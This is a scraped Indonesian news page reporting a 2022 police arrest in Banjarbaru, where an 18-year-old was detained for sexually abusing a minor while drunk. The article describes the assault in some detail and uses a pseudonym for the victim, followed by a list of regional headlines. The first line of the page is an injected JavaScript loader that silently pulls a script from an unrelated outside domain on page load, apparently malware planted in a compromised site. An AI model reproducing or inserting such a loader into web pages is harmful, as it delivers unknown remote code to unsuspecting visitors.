(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Kondisi Mabuk Gerayangi Anak di Bawah Umur, MMR Ditangkap Polisi


KANALKALIMANTAN.COM, BANJARBARU – Unit Opsnal Reskrim (Macan Barbar) Polsek Liang Anggang yang dipimpin langsung Katim Aiptu Deden A Lesmana berhasil meringkus pelaku pencabulan di Liang Anggang pada Senin (15/8/2022) lalu.

Pelaku berinisial MMR (18) warga Jalan Sukamara, Landasan Ulin Utara, melakukan aksi tak terpuji dalam keadaan pengaruh minuman keras terhadap Bunga -nama samaran- usai rapat persiapan 17 Agustus pada Minggu (14/8/2022) tengah malam.

Kapolsek Liang Anggang, AKP Yuda Kumoro Pardede melalui Kasi Humas Polsek Liang Anggang Aipda Kardi Gunadi mengatakan, pengungkapan kasus ini berdasarkan laporan masyarakat telah terjadi tindak pidana pencabulan terhadap anak dibawah umur.

“Unit Opsnal Reskrim Polsek Liang Anggang melakukan penyelidikan terhadap laporan tersebut, dan mendapati bahwa terduga pelaku berada di rumahnya,” ungkap Aipda Kardi Gunadi, Sabtu (20/8/2022).

 

 

Baca juga: Aditya Serahkan Bantuan Bedah Rumah Lansia di Guntung Manggis

Dilanjutkannya, pelaku MMR (18) dibekuk pada Senin (15/8/2022) di rumahnya.

Dari rumahnya petugas menyita barang bukti berupa satu lembar baju merk Soverment warna hitam dan satu lembar celana Boss warna abu-abu.

Pengakuan MMR (18) dirinya mengakui perbuatan asusila terhadap anak di bawah umur yang baru dikenalnya.

“Pelaku mengaku saat melakukan perbuatan tersebut dalam pengaruh minuman beralkohol,” bebernya.

Pencabulan yang melibatkan anak di bawah umur tersebut, saat keduanya sedang mengikuti rapat persiapan 17-an di Liang Anggang, usai rapat tepatnya Minggu (14/8/2022) sekitar 23.15 Wita. Korban ditahan pelaku saat ingin pulang dengan dalih ada yang dibicarakan.

Kemudian pulangnya dari sana korban dibonceng pelaku, sekitar di sebuah sekolah yang ada di Liang Anggang, pelaku melakukan aksi bejatnya dengan mencium dan meremas kedua payudara korban dengan cara memasukkan kedua belah tangannya ke dalam baju korban dan meremasnya. Korban berusaha menolak dan mendorong pelaku sambil menangis.

“Akibat kejadian tersebut korban mengalami ketakutan dan trauma,” bebernya.

Baca juga: Simpang Jalan Antara Periuk IKM dan Perlindungan Belida (Bagian 2)

Berdasarkan aksi terhadap anak di bawah umur sebagaimana dimaksud dalam Pasal 82 Ayat (1) UURI nomor 17 tahun 2016 ttg Penetapan Peraturan Pemerintah Pengganti Undang-undang nomor 1 tahun 2016 ttg perubahan kedua atas undang-undang nomor 23 tahun 2002 tentang perlindungan anak menjadi Undang-Undang. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Pemkab HSU Raih Opini WTP, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More

13 menit ago

Ngobrol Santai Pj Bupati Kapuas Erlin Hardi di Kelurahan Selat Dalam

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More

20 menit ago

Targetkan 5 Besar, Bupati Banjar Lepas Kontingen Popda Banjar Menuju HSS

KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More

1 jam ago

Kasus Cuci Uang Narkoba, Ayah Fredy Pratama Tak Ajukan Banding

KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More

2 jam ago

Kucing-kucingan Anak Kecil vs Satpol PP di Lampu Lalulintas Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More

3 jam ago

WTP Ke-11 untuk Pemkab Banjar, Wabup Banjar: Ini Kerja Tulus Semua Perangkat Daerah

KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More

4 jam ago

This website uses cookies.